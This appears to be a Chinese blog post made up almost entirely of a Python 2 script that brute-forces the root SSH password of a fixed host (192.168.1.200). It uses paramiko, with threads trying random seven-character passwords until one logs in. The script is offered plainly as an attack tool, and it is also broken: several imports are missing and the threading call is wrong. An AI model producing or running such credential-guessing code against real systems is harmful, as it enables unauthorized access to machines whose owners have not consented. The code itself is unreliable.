• SSH远程登录密码尝试


     1 import threading
     2 
     3 #创建一个登陆日志,记录登陆信息
     4 paramiko.util.log_to_file('paramiko.log')
     5 client = paramiko.SSHClient()
     6 #允许连接不在know-hosts文件中的主机
     7 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
     8 
     9 def ssh(client ,user, passwd):
    10     client.connect('192.168.1.200', 22, username=user, password=passwd, timeout=1)
    11     return client
    12 
    13 #python3中为string.ascii_letters,而python2下则可以使用string.letters和string.ascii_letters
    14 #生成随机密码,length为密码长度,包含数字,字母
    15 def GenPassword(length=8,chars=string.ascii_letters+string.digits):
    16     return ''.join([choice(chars) for i in range(length)])
    17 
    18 
    19 def passwd(client):
    20     while True:
    21         time.sleep(1)
    22         ps = GenPassword(7)
    23         #ps = 'magicud'
    24         try:
    25             if ssh(client , 'root', ps):
    26                 stdin, stdout, stderr = client.exec_command('hostname')
    27                 # 输出命令返回的结果
    28                 #print stdout.readlines()
    29                 print ps
    30                 client.close()
    31                 exit(0)
    32         except Exception,e:
    33             print e
    34 
    35 if __name__=="__main__":
    36     for i in range(10):
    37         t = threading.Thread(target=passwd(client))
    38         t.start()
  • 相关阅读:
    合并两个有序数组
    删除排序数组中的重复项 II
    对称二叉树
    相同的树
    二叉树的最大深度
    从前序与中序遍历序列构造二叉树
    vue简单案例_动态添加删除用户数据
    对vue的初步学习(一)
    关于java for循环常见练习题
    关于java中循环的学习
  • 原文地址:https://www.cnblogs.com/GXLo/p/6695488.html
Copyright © 2020-2023  润新知